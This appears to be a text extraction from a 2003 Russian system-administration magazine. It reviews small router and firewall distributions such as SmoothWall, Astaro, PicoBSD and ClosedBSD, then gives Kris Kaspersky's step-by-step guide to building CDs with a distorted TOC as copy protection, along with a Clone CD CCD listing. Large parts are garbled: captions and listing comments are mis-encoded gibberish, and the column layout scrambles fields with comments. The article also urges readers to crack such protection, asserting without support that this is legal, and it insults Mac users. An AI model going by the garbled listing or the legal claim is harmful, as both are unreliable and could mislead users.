ется в двух вариантах: floppy, требующий две дискеты, компьютер с процессором i386 и 4 Мб ОЗУ и СD-ROM (13.4 Мб), который загружается и работает только с СD-ROM, т.е. не требует установки на жесткий диск, и кроме спасательных функций их возможно использовать в качестве gateway/firewall и dialup gateway. Дискетный вариант имеет шесть различных ревизий, каждая из которых направлена на решение одной конкретной задачи (Internet Dialup Gateway, Full Rescue disk with ssh client support, Local and Remote admin system with ssh support, Firewall Gateway, Firewall/routing Gateway и companion disk с основными утилитами). СD-ROM-вариант, естественно, имеет все эти и дополнителные возможности: VPN (Virtual Private Network), DHCP-сервер и поддержка PPPoA xDSL; Zebra Router, RIP, OSPF, BGP; клиент и сервер SSH2; Full Rescue Disk Facilities; syslogd; PPP Dial-on-demand Internet Gateway (модемный Интернет по требованию). Все это построено на ядре 2.4.18 с поддержкой большинства устройств. Интересно, что в целях повышения безопасности файловая система монтируется только в режиме read-only и не позволяет сохранить настройки на дискету. Чтобы иметь возможность работать со своими настройками, первоначально необходимо внести свои данные в скачанный образ и затем уже записывать его на болванку или дискету. Как это все можно проделать и в какие файлы вносить изменения, очень подробно рассказано в двух документах –

29


администрирование

Ðèñóíîê 5.

«CDROM Distribution Howto» и «Floppy Distribution Howto», которые не грех и просто почитать как пример разделки подобных дистрибутивов. Теперь при попытке записи в RAM-устройство система обнаруживает это и просто перезагружается, восстанавливая настройки по умолчанию. Несмотря на первоначальную возню с образами, он полностью соответствует своему девизу «Powerful, Reliable and Secure». SmoothWall (http://www.smoothwall.org/). Первый дистрибутив этого проекта увидел свет в июле 2000 года, создается он администраторами и специалистами по безопасности. Причем самое бурное развитие приходится на 2003 год. Если в конце прошлого (2002) года мне пришлось работать с версией 0.9.9, то сейчас уже доступна бета 5 версии 2.0 «Orient». Данный дистрибутив построен на современном ядре серии 2.4.21, имеет низкие системные требования (рекомендуется 486i, 16 Мб ОЗУ), поддерживает кроме разнообразных сетевых устройств (Ethernet 10/100, ISDN, USB ADSL) и обычные аналоговые модемы, также и IDE CD-ROM (с которого, собственно, производится инсталляция дистрибутива), и, конечно же, дисковод. ISO-образ дистрибутива занимает чуть более 20 Мб. Установка особой сложности не вызывает. Программа установки сама автоматически разбивает диск /dev/hda на 4 раздела (/boot, swap, /var/log и корневой), хотя в дальнейшем это можно изменить. В комплект входят все необходимые утилиты для создания и обслуживания фай-

30

ловой системы ext2fs/3fs. Дальше необходимо просто честно ответить на вопросы об IP-адресах (поддерживается три сетевых интерфейса GREEN, RED, ORANGE, доступ к которым можно настроить в различных варианциях), выбрать раскладку клавиатуры, временной пояс и при необходимости ввести телефонный номер провайдера, но, к сожалению, только один. Сетевые устройства программа установки находит сама, при неудаче можно попробовать выбрать из довольно объемистого списка. После всего следует запрос трех паролей для пользователей root, setup (для запуска программы изменения первичных настроек /usr/local/sbin/setup) и admin. После окончания процесса установки можно, предварительно достав выехавший диск, запихать компьютер под стол. Все дальнейшие действия по настройке теперь можно производить через удобный веб-интерфейс (рис.4, 4а), для чего нужно зайти по адресу http://smoothwall:81 или https://smoothwall:445 для работы по защищенному протоколу. И теперь можно узнать статистику о работе роутера (uptime, учет количества пакетов и скорость передачи по интерфейсам, использование диска, пользователи), получить справку о настройке тех или иных параметров, войти в shell, изменить работу некоторых сервисов, остановить (или перезагрузить) роутер или отключить один из интерфейсов. Теперь о некоторых features. SmootWall выполняет роль кеширующего веб-сервера (по умолчанию: время обновления 15 мин, кеш 4 Мб), при необходимости в DHCP-сер-


администрирование

Ðèñóíîê 5à.

висе нужно просто указать в setup в соответствующей вкладке диапазон IP-адресов и включить сервис. Кроме веб-интерфейса можно войти с помощью SSH. В лог-файлах (которые можно импортировать нажатием одной кнопки) можно найти подробные данные сетевой системы предупреждения о вторжении (NIDS) snort (имя, адрес, дата, степень опасности и т. д.), подробности работы firewall и отчеты всех остальных запущенных сервисов и ядра. Имеется возможность создания VPN, используя IPSec, устанавливающуюся вместе с системой (трафик при этом шифруется при помощи алгоритма 3DES). Единственная сложность при установке SmoothWall, о которой довелось пока слышать, на очень старых компьютерах (скорее всего из-за BIOS) это: Unable to make boot filesystem /cdrom/bin/mke2fs: invalid option --j

Т.е. система не может создать раздел ext3. Решается она, как ни странно, выбором типа установки при помощи http, а не CD-ROM (если канал позволяет). Надежность старых жестких дисков тоже вызывает сомнение, чтобы установить маршрутизатор на одно из устройств DiskOnChip, использующих NFTL (NAND Flash Translation Layer), необходимо обратиться к проекту Routerlinux (http://www.routerlinux.com/). Установив затем кроме стандартных firewall/router/NAT модем и Ethernet, можно создать VPN-туннель при помощи IPSec, имеется

№9(10), сентябрь 2003

SSH, SNMP и DHCP-сервер, кеширующий DNS-сервер, zebra RIP, OSPF и BGP, crond и, что приятно, почему-то редко встречающийся nmap. Astaro Security Linux (http://www.astaro.com/) – еще один дистрибутив, основное назначение которого – организация совместного доступа в Интернет, но вот размер (после распаковки архива получается 216 Мб) уже говорит о серьезности подхода, а название – об основной направленности. После установки на жесткий диск, кроме firewall и контекстного фильтра, защищающего в том числе и от вирусов, можно организовать DMZ, proxy server, SNAT, DNAT, Masquerading и VPN, которые делают этот дистрибутив идеальным решением для защиты сети. Интересно, что при инсталляции можно лишь настроить дистрибутив в общих чертах (указывается только IP-адрес самого сервера), основные же настройки можно производить, либо непосредственно редактируя конфигурационные файлы, либо более наглядно и проще для новичка через WebAdmin (рис.5, 5а). При помощи сервиса Up2Date можно автоматически обновлять компоненты, плюс некоторые патчи доступны на сайте. Рекомендуется процессор класса Intel Pentium II, 128 Мб ОЗУ, СD-ROM, жесткий диск, две или более сетевые карточки. Система поддерживает большое количество разнообразных устройств, в том числе и знает о беспроводных. А документацию, которой полно как на сайте, так и в дистрибутиве, не грех почитать и для общего развития.

31


администрирование

Ðèñóíîê 6à. Ðèñóíîê 6.

Кроме Linux, естественно, имеется пара дистрибутивов, основанных на BSD. PicoBSD (http://www.freebsd.org/~picobsd/) представляет собой «one floppy» версию FreeBSD 3.0-current. Имеется три варианта этой системы: Dialup Version, Networking Version и Router Version, т.е. полноценная система, которую можно использовать как для маленького маршрутизатора, так и повседневного безопасного хождения по Интернету. Единственное, что не очень удобно для новичков, в угоду маленькому размеру, как и в большинстве описываемых дистрибутивов, в PicoBSD практически нет документации, кроме отдельных man-страниц специфических для него приложений. Поэтому советую скачать и файл README, ссылка на который имеется возле каждого дистрибутива. Наличие исходников дает прекрасную возможность самому собрать PicoBSD под свои нужды. Дополнительно по адресу http://www.kot.dp.ua/ можно найти скрипты для учета трафика, некоторую переведенную информацию и другие полезные программы. ClosedBSD (http://www.closedbsd.org/) также основан на FreeBSD и использует некоторые специфические для этой системы приложения вроде ipfw, позволяет создать firewall или NAT. Причем в отличие от того же PicoBSD большинство основных настроек сетевых устройств можно произвести при помощи вполне понятной системы меню (рис.6, 6а). Естественно, для более тонкого конфигурирования в

32

любом случае придется лезть в командную строку, всех пунктов не предусмотришь. Но чтобы новичку не пришлось самому разбираться с опциями firewall, имеется предустановленный (Basic) набор правил для типичной системы и режим «Advanced» для добавления своего правила (надо отметить тоже с шаблонами, что существенно облегчает работу). Дополнительно имеется пункт меню monitor для отображения статистик, проходящих через систему пакетов. В данный момент не поддерживаются модемы и что-то наподобие IPSec, позволяющие создать VPN, и, что не очень удобно (но зато безопасно), удаленное управление (надеюсь ненадолго). Распространяется в двух вариантах для записи на дискету и более навороченный СD-ROM-вариант (12.8 Мб), не требует установки на жесткий диск, все настройки во втором варианте можно сбросить на дискету. Системные требования по-прежнему невысоки – любой процессор от i386 с 8 Мб RAM в floppy-варианте и 32 Мб в СD-ROM. Как видите, выбрасывать старый компьютер еще рано. Он еще может сослужить хорошую службу и сэкономить деньги на покупку дорогого маршрутизатора. Дополнительно каждый из представленных дистрибутивов можно заточить под конкретную сеть и задачи.



администрирование

ИСКАЖЕНИЕ TOC КАК СРЕДСТВО БОРЬБЫ С НЕСАНКЦИОНИРОВАННЫМ КОПИРОВАНИЕМ ДИСКА Уже давно Утихло поле боя, Но сорок тысяч Воинов Китая Погибли здесь, Пожертвовав собою... Ду Фо «Оплакиваю поражение при Чэньтао»

Искажение TOC – жестокий, уродливый но на удивление широко распространенный прием, использующийся в доброй половине защитных механизмов. Штатные копировщики на таких дисках в буквальном смысле слова сходят с ума и едут крышей. Копировщики защищенных дисков (Clone CD, Alcohol 120%) к искаженному TOC относятся гораздо лояльнее, но требуют для своей работы определенного сочетания пишущего и читающего приводов, да и в этом случае копируют такой диск не всегда.

КРИС КАСПЕРСКИ 34


администрирование Пишущий привод обязательно должен поддерживать режим RAW DAO (Disc At Once), в котором весь диск записывается за один проход лазера. Режим RAW SAO (Session At Once) для этих целей совершенно непригоден, поскольку предписывает приводу писать сначала содержимое сессии, а потом – TOC. Как следствие – приводу приходится самостоятельно анализировать TOC, чтобы определить стартовый адрес сессии и ее длину. Попытка записать искаженный TOC в режиме SAO в общем случае приводит к непредсказуемому поведению привода и о работоспособной копии защищенного диска нечего и думать! Первая встретившаяся приводу сессия с искаженным TOC обычно оказывается и последней, т.к. остальные сессии писать уже некуда (искажение TOC обычно преследует цель увеличения размера сессии до нескольких гигабайт). Читающий привод помимо режима «сырого» чтения (который поддерживают практически все приводы) должен уметь распознавать искаженный TOC, автоматически переходя в этом случае на использование «резервного» средства адресации – Q-канала подкода. В противном случае сессия, содержащая искаженный TOC, окажется недоступной для чтения даже на секторном уровне. Таким образом, копирование дисков с искаженным TOC осуществимо не на всяком оборудовании и порядка 1/3 моделей «писцов» для этих целей непригодны. Узнать, поддерживает ли выбранная вами модель привода режим RAW DAO или нет, можно, в частности, из раздела «Tech support» справки Clone CD, где перечислены характеристики достаточно большого количества всевозможных приводов (впрочем, моих приводов там, увы, нет). Другой путь – «скормить» приводу SCSI/ATAPI команду 46h (GET CONFIGURATION) и посмотреть, что он ответит. Из двух моих «писцов» режим RAW DAO поддерживает один лишь NEC. С определением возможности чтения искаженных сессий дела обстоят на порядок сложнее, ибо данная особенность поведения является исключительно внутренней характеристикой привода и не афишируется ни самим приводом, ни его производителями. Приходится выяснять эту информацию экспериментально. Возьмите диск с чудовищно искаженным TOC (о том, как его создать, рассказано ниже), воткните его в привод и попробуйте прочесть несколько секторов из искаженной сессии. Реакция приводов может быть самой разнообразной. Тот же PHILIPS в зависимости от «настроения» своих электронных цепей то рапортует об ошибке чтения, то возвращает совершенно бессмысленный мусор, в котором не угадывается даже синхропоследовательность, возглавляющая заголовок сырого сектора. Основной недостаток защитных механизмов с искаженным TOC состоит в том, что некоторые приводы такие диски просто «не видят» и потому не могут их воспроизвести. Легальный пользователь, испытавший несовместимость защиты со своей аппаратурой, в лучшем случае обложит ее разработчика матом и поспешит вернуть диск продавцу… если, конечно, сможет вытащить эту «бяку» из недр CDROM, и не факт, что у него получится, поскольку микропроцессорная начинка некоторых приводов при попытке анализа искаженного TOC просто «зависает» и привод полностью абстрагируется от всех раздражителей внешнего

№9(10), сентябрь 2003

мира, не реагируя в том числе и на настойчивые попытки пользователя сделать диску «EJECT». Дырку для аварийного выброса диска, правда, еще никто не отменял1, но, по слухам, не везде она есть (хотя лично мне приводов без дырки еще не встречалось), а там где есть – зачастую оказывается скрытой за декоративной панелью или – что более вероятно – пользователь может вообще не знать, что это за отверстие такое, для чего оно предназначено и как им, собственно, следует пользоваться. На «Макинтошах» таких дырок нет – это точно (или же «Маковские» пользователи все сплошь идиоты). Во всяком случае, количество судебных исков, поданных последними, в буквальном смысле слова не поддается ни разуму, ни исчислению. Самое интересное, что подавляющее большинство этих исков были удовлетворены и разработчикам пришлось оплатить и «ремонт» аппаратуры, и моральный ущерб, и собственно сами судебные издержки. (Между нами говоря, снятие защиты с дисков, записанных с грубыми нарушениями стандарта, коими, в частности, и являются диски с искаженным TOC, не считается взломом, и не преследуется по закону, поэтому ломайте, ломайте и еще раз ломайте).

Создание защищенного диска с искаженным TOC Для создания защищенного диска с искаженным TOC нам понадобится: любая программа записи на диск, умеющая создавать многосессионные диски (например, Roxio Easy CD Creator), копировщик защищенных дисков, сохраняющий содержимое TOC в текстовом файле, доступном для редактирования (мы выбираем Clone CD), и, естественно, сам пишущий привод, поддерживающий режим сырой записи в режиме DAO. Для облегчения восприятия материала все действия будут расписаны по шагам, хотя это выглядит и не слишком литературно.

Шаг первый Достаем из упаковки CD-R болванку или – что даже лучше – засовываем в привод потертый жизнью CD-RW диск и записываем на него пару сессий в штатном режиме. Будет лучше (вернее, нагляднее), если вторая сессия будет включать в себя файлы первой сессии – той самой сессии, чей TOC мы и собираемся искажать. Интересно, сможет ли привод прочесть ее содержимое или нет?

Шаг второй Запускаем Clone CD и просим его создать образ оригинального диска (выбираемый профиль настроек на данном этапе некритичен, поскольку диск еще не защищен, то с равным успехом можно использовать как «CD с данными», так и «Protected PC Game»; галочку «создавать Cue-Sheet» взводить необязательно – все равно она действительна лишь на односессионных CD).

Шаг третий Если все сделано правильно и программно-аппаратное обеспечение во всей своей совокупности работает нормально, на жестком диске должны образоваться три файла: IMAGE.CCD, – несущий в себе содержимое Q-канала подкода Lead-In области или, попросту говоря, TOC;

35


администрирование IMAGE.IMG – «сырой» образ диска со всеми секторами от 00:00:02 до «сколько-на-диске-есть-там» и IMAGE.SUB – содержимое полей подкода «программной» части диска. Последний файл в принципе может и отсутствовать (он создается только, если взведена галочка «Чтение субканалов из треков с данными»), но это некритично, т.к. сейчас нас в первую очередь интересуют не каналы подкода, а сам TOC! Откроем файл IMAGE.CCD в любом текстовом редакторе и попытаемся перевести расклад геометрии диска на человеческий язык. Ëèñòèíã 1. Ñîäåðæèìîå íåèñêàæåííîãî TOC â ñûðîì âèäå. Îáîáùåííî ãîâîðÿ, äèñê ñîäåðæèò äâå ñåêöèè – ïî îäíîìó òðåêó êàæäàÿ. Àáñîëþòíûé àäðåñ íà÷àëà ïåðâîãî òðåêà 00:00:02, àáñîëþòíûé àäðåñ Lead-out-îáëàñòè ïåðâîé ñåññèè 00:29:33 (àäðåñ ïîñëåäíåãî ñåêòîðà òðåêà íà äâå ñåêóíäû êîðî÷å), àáñîëþòíûé àäðåñ íà÷àëà âòîðîãî òðåêà 03:01:33, à àáñîëþòíûé àäðåñ Lead-out âòîðîé ñåññèè 03:24:33. Ìàêñèìàëüíî äîñòèæèìàÿ åìêîñòü äèñêà 22:14:34 (õîòÿ íà ñàìîì äèñêå è íàïèñàíî, ÷òî îí 23-ìèíóòíûé). [CloneCD] Version=3

; äàííûå î Clone CD ; âåðñèÿ Clone CD.

[Disc] TocEntries=12 Sessions=2 DataTracksScrambled=0

; ; ; ;

; äàííûå äèñêà ; êîëè÷åñòâî ýëåìåíòîâ TOC ; êîëè÷åñòâî ñåññèé = 2 ; ïîëå DVD (ñì. inf-8090), äëÿ CD ; ýòà èíôîðìàöèÿ ëèøåíà ñìûñëà ; CD-Text â ïîëÿõ ïîäêîäà ; Lead-in-îáëàñòè îòñóòñòâóåò äàííûå ñåññèè 1 òèï òðåêà Mode 1 (òðåê ñ äàííûìè, 2048 áàéò äàííûõ) äàííûõ ïîäêàíàëà íåò

; ; ; ;

äàííûå ñåññèè 2 òèï òðåêà Mode 1 (òðåê ñ äàííûìè, 2048 áàéò äàííûõ) äàííûõ ïîäêàíàëà íåò

CDTextLength=0 [Session 1] PreGapMode=1 PreGapSubC=0 [Session 2] PreGapMode=1 PreGapSubC=0 [Entry 0] Session=1 Point=0xa0 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0 PMin=1 PSec=0 PFrame=0 PLBA=4350 [Entry 1] Session=1 Point=0xa1 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0 PMin=1 PSec=0 PFrame=0 PLBA=4350

36

; äàííûå ýëåìåíòà TOC ¹0 ; ýëåìåíò ñåññèè 1 ; íîìåð ïåðâîãî òðåêà ñåññèè 1 ; â PMin/òèï äèñêà â PSec ; q-Mode == 1 ; äèñê ñ äàííûìè, çàïðåùåííûé ; äëÿ êîïèðîâàíèÿ ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ; ýòî Lead-in-òðåê (ò.å. TOC) ; \ ; + àáñîëþòíûé àäðåñ òåêóùåãî òðåêà ; / ; LBA-àäðåñ òåêóùåãî òðåêà ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, ; êàê îíî è åñòü ; íîìåð ïåðâîãî òðåêà ñåññèè 1 ; òèï äèñêà CD-DA è CD-ROM-äèñê â Mode 1 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè ; íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD ; êàê LBA-àäðåñ, ò.å. ãëóïîñòü ; äàííûå ýëåìåíòà TOC ¹1 ; ýëåìåíò ñåññèè 1 ; íîìåð ïîñëåäíåãî òðåêà ñåññèè 1 â PMin ; q-Mode == 1 ; äèñê ñ äàííûìè, çàïðåùåííûé ; äëÿ êîïèðîâàíèÿ ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ; ýòî Lead-in-òðåê (ò.å. TOC) ; \ ; + àáñîëþòíûé àäðåñ òåêóùåãî òðåêà ; / ; LBA-àäðåñ òåêóùåãî òðåêà ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, ; êàê îíî è åñòü ; íîìåð ïîñëåäíåãî òðåêà ñåññèè 1 ;(â ñåññèè òîëüêî îäèí òðåê) ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè ; íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD ; êàê LBA-àäðåñ, ò.å. ãëóïîñòü

[Entry 2] Session=1 Point=0xa2 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0 PMin=0 PSec=29 PFrame=33 PLBA=2058 [Entry 3] Session=1 Point=0x01 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0 PMin=0 PSec=2 PFrame=0 PLBA=0 [Entry 4] Session=1 Point=0xb0 ADR=0x05 Control=0x04 TrackNo=0 AMin=2 ASec=59 AFrame=33 ALBA=13308 Zero=3 PMin=22 PSec=14 PFrame=34 PLBA=99934 [Entry 5] Session=1 Point=0xc0 ADR=0x05 Control=0x04 TrackNo=0 AMin=162 ASec=128 AFrame=140 ALBA=288590 Zero=0 PMin=97 PSec=27 PFrame=21 PLBA=-11604 [Entry 6] Session=1 Point=0xc1 ADR=0x05 Control=0x04

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

äàííûå ýëåìåíòà TOC ¹2 ýëåìåíò ñåññèè 1 ïîëîæåíèå Lead-out-îáëàñòè â PMin:PSec:PFrame q-Mode == 1 äèñê ñ äàííûìè, çàïðåùåííûé äëÿ êîïèðîâàíèÿ òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ýòî Lead-in-òðåê (ò.å. TOC) \ + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà / LBA-àäðåñ òåêóùåãî òðåêà ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, êàê îíî è åñòü \ + - àáñîëþòíûé àäðåñ Lead-out-îáëàñòè ñåññèè 1 / LBA-àäðåñ Lead-out-îáëàñòè ñåññèè 1

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

äàííûå ýëåìåíòà TOC ¹3 ýëåìåíò ñåññèè 1 äàííûå òðåêà 1 ñåññèè 1 q-Mode == 1 äèñê ñ äàííûìè, çàïðåùåííûé äëÿ êîïèðîâàíèÿ òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ýòî Lead-in-òðåê (ò.å. TOC) \ + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà / LBA-àäðåñ òåêóùåãî òðåêà ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, êàê îíî è åñòü \ + - àáñîëþòíûé àäðåñ íà÷àëà òðåêà 1 ñåññèè 1 / LBA-àäðåñ íà÷àëà òðåêà 1 ñåññèè 1

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

äàííûå ýëåìåíòà TOC ¹4 ýëåìåíò ñåññèè 1 ïîçèöèÿ ñëåäóþùèé çàïèñûâàåìîé îáëàñòè â AMin:ASec:AFrame q-Mode == 1 äèñê ñ äàííûìè, çàïðåùåííûé äëÿ êîïèðîâàíèÿ òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ýòî Lead-in-òðåê (ò.å. TOC) \ + - àáñîëþòíûé àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè / LBA-àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè êîë-âî pointer â Mode 5 \ + - àáñîëþòíûé àäðåñ ìàêñèìàëüíîé çàïèñûâàåìîé îáëàñòè / LBA-àäðåñ ìàêñèìàëüíîé çàïèñûâàåìîé îáëàñòè äàííûå ýëåìåíòà TOC ¹5 ýëåìåíò ñåññèè 1 ñòàðòîâûé àäðåñ Lead-in-îáëàñòè Hybrid-äèñêà (åñëè îí åñòü) Mode 5 (Îðàíæåâàÿ êíèãà) äèñê ñ äàííûìè, çàïðåùåííûé äëÿ êîïèðîâàíèÿ òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ýòî Lead-in-òðåê (ò.å. TOC) ðåêîìåíäóåìàÿ ìîùíîñòü ëàçåðà äëÿ çàïèñè Application code çàðåçåðâèðîâàíî LBA-"àäðåñ" òðåõ ïðåäûäóùèõ ïîëåé çàðåçåðâèðîâàíî \ + - àáñîëþòíûé àäðåñ Lead-in-îáëàñòè Hybrid-äèñêà / (àäðåñ ëåæèò çà ïðåäåëàìè äèñêà, ò.å. Hybrid-äèñêà íåò) LBA-àäðåñ Lead-in-îáëàñòè Hybrid (âû÷èñëåí ñ ïåðåïîëíåíèåì) äàííûå ýëåìåíòà TOC ¹6 ýëåìåíò ñåññèè 1 êîïèÿ ATIP-èíôîðìàöèè -+ -+


администрирование TrackNo=0 AMin=4 ASec=120 AFrame=96 ALBA=26946 Zero=0 PMin=0 PSec=0 PFrame=0 PLBA=-150

; ; ; ; ; ; ; ; ; ;

-+ -+ -+ -+ -+ – ATIP-èíôîðìàöèÿ -+ -+ -+ -+ -+

[Entry 7] Session=2

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

äàííûå ýëåìåíòà TOC ¹7 ýëåìåíò ñåññèè 2 (âîò ìû è äîáðàëèñü äî ñåññèè 2!) íîìåð ïåðâîãî òðåêà ñåññèè 2 â PMin/òèï äèñêà â PSec q-Mode == 1 äèñê ñ äàííûìè, çàïðåùåííûé äëÿ êîïèðîâàíèÿ òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ýòî Lead-in-òðåê (ò.å. TOC) \ + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà / LBA-àäðåñ òåêóùåãî òðåêà ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, êàê îíî è åñòü íîìåð ïåðâîãî òðåêà ñåññèè 2 (íóìåðàöèÿ òðåêîâ ñêâîçíàÿ!) òèï äèñêà CD-DA è CD-ROM-äèñê â Mode 1 íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD êàê LBA-àäðåñ, ò.å. ãëóïîñòü äàííûå ýëåìåíòà TOC ¹8 ýëåìåíò ñåññèè 2 íîìåð ïîñëåäíåãî òðåêà ñåññèè 2 â PMin q-Mode == 1 äèñê ñ äàííûìè, çàïðåùåííûé äëÿ êîïèðîâàíèÿ òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ýòî Lead-in-òðåê (ò.å. TOC) \ + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà / LBA-àäðåñ òåêóùåãî òðåêà ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, êàê îíî è åñòü íîìåð ïîñëåäíåãî òðåêà ñåññèè 2 (â ñåññèè òîëüêî îäèí òðåê) íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD êàê LBA-àäðåñ, ò.å. ãëóïîñòü äàííûå ýëåìåíòà TOC ¹9 ýëåìåíò ñåññèè 2 ïîëîæåíèå Lead-out-îáëàñòè â PMin:PSec:PFrame q-Mode == 1 äèñê ñ äàííûìè, çàïðåùåííûé äëÿ êîïèðîâàíèÿ òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ýòî Lead-in-òðåê (ò.å. TOC) \ + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà / LBA-àäðåñ òåêóùåãî òðåêà ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, êàê îíî è åñòü \ + - àáñîëþòíûé àäðåñ Lead-out-îáëàñòè ñåññèè 2 / LBA-àäðåñ Lead-out-îáëàñòè ñåññèè 2

; ; ; ; ; ; ; ; ; ; ; ; ; ;

äàííûå ýëåìåíòà TOC ¹10 ýëåìåíò ñåññèè 2 äàííûå òðåêà 2 ñåññèè 2 q-Mode == 1 äèñê ñ äàííûìè, çàïðåùåííûé äëÿ êîïèðîâàíèÿ òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ýòî Lead-in-òðåê (ò.å. TOC) \ + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà / LBA-àäðåñ òåêóùåãî òðåêà ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, êàê îíî è åñòü

Point=0xa0 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0 PMin=2 PSec=0 PFrame=0 PLBA=8850 [Entry 8] Session=2 Point=0xa1 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0 PMin=2 PSec=0 PFrame=0 PLBA=8850 [Entry 9] Session=2 Point=0xa2 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0 PMin=3 PSec=24 PFrame=23 PLBA=15173 [Entry 10] Session=2 Point=0x02 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0

№9(10), сентябрь 2003

PMin=3 PSec=1 PFrame=33 PLBA=13458 [Entry 11] Session=2 Point=0xb0

; \ ; + - àáñîëþòíûé àäðåñ íà÷àëà òðåêà 2 ; ñåññèè 2 ; / ; LBA-àäðåñ íà÷àëà òðåêà 2 ñåññèè 2

[TRACK 1] MODE=1 INDEX 1=0

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

[TRACK 2] MODE=1 INDEX 1=0

; äàííûå òðåêà 2 ; ðåæèì Mode 1 ; post-gap?

ADR=0x05 Control=0x04 TrackNo=0 AMin=4 ASec=54 AFrame=23 ALBA=21923 Zero=1 PMin=22 PSec=14 PFrame=34 PLBA=99934

äàííûå ýëåìåíòà TOC ¹11 ýëåìåíò ñåññèè 2 àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè â AMin:ASec:AFrame Mode 5 äèñê ñ äàííûìè, çàïðåùåííûé äëÿ êîïèðîâàíèÿ òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ýòî Lead-in-òðåê (ò.å. TOC) \ + - àáñîëþòíûé àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè / LBA-àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè êîëè÷åñòâî pointer Mode 5 \ + - àáñîëþòíûé àäðåñ ïîñëåäíåé âîçìîæíîé Lead-out-îáëàñòè / (íà ñàìîì äèñêå íàïèñàíî 23 ìèí., ýòî æ êàê íàäî îêðóãëÿòü 22:14:34) LBA-àäðåñ ïîñëåäíåé âîçìîæíîé Lead-out-îáëàñòè äàííûå òðåêà 1 ðåæèì Mode 1 post-gap?

Давайте теперь немного поиздеваемся над TOC и увеличим стартовый адрес первого трека так, чтобы он вышел далеко за пределы первой сессии и попал… ну, собственно, куда нибудь он все равно попадет. Чтобы быстро отыскать соответствующую ему запись, воспользуемся контекстным поиском. Жмем <F7> и вводим «point=0x1»: Ëèñòèíã 2. Àòðèáóòû òðåêà 1. [Entry 3] Session=1 Point=0x01 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0 PMin=0 PSec=2 PFrame=0 PLBA=0

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

äàííûå ýëåìåíòà TOC ¹3 ýëåìåíò ñåññèè 1 äàííûå òðåêà 1 ñåññèè 1 q-Mode == 1 äèñê ñ äàííûìè, çàïðåùåííûé äëÿ êîïèðîâàíèÿ òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ýòî Lead-in-òðåê (ò.å. TOC) \ + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà / LBA-àäðåñ òåêóùåãî òðåêà ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, êàê îíî è åñòü \ + - àáñîëþòíûé àäðåñ íà÷àëà òðåêà 1 ñåññèè 1 / LBA-àäðåñ íà÷àëà òðåêà 1 ñåññèè 1

